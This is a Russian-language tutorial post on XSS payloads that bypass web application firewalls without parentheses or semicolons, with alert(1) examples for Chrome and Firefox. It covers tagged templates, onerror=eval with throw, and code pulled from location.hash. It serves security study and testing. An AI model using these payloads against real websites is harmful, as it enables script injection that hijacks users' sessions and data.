Главная цель — обход WAF, который блокирует типичные паттерны XSS.
Как это работает ⤵️
🔴 С помощью запятых можно объединить несколько выражений и вернуть последнее из них
🔴 Замена
onerror на eval позволяет выполнить сообщение об ошибке как код🔴 Вызванные ошибки станут частью сообщения об ошибке
🔴 Если тебе удалось преобразовать сообщение об ошибке в корректный код, значит, ты справился
➡️ Tagged Template Strings
Базовый прием — использование функции перед шаблонной строкой:
alert`test`
Более продвинутый вариант — создание функции из строки:
Function`alert\u00281\u0029` ``
Здесь скобки заменены на unicode-представление (
\u0028 и \u0029).Динамическое выполнение кода через
hash:Function`_${location.hash.slice`1`}` ``➡️ Метод onerror + throw (Chrome)
Ключевая идея: подмена
onerror на eval и создание валидного JS-кода из сообщения об ошибке:onerror = eval
throw '=alert\x281\u0029'
Сообщение об ошибке в Chrome:
Uncaught =alert(1), что является валидным кодом (Uncaught становится переменной).Без точки с запятой (используя блок):
{onerror=alert}throw 1Или через запятую:
throw onerror=alert,1
➡️ Метод для Firefox
В Firefox формат ошибок другой, поэтому используются объекты
Error:throw onerror=eval,x=new Error,x.message='alert\x281\x29',x
➡️ Продвинутые техники
Пейлоад через regexp и конкатенацию:
throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]
Здесь:
🔴
a[12] и a[13] извлекают ( и ) из строки функции URL🔴
/1/g — regexp, который в строке становится "/1/g"🔴 Итоговое сообщение:
Uncaught /1/g(1337,3331,117) — валидный кодМанипуляция с
TypeError.prototype.name:TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']
Изменяется имя
TypeError, чтобы сообщение об ошибке начиналось с =/, формируя regexp, который комбинируется с -alert(1).💡 Пост вдохновлен несколькими исследованиями по теме:
✳️ Explaining XSS without parentheses and semi-colons
✳️ XSS technique without parentheses
✳️ XSS without parentheses and semi-colons
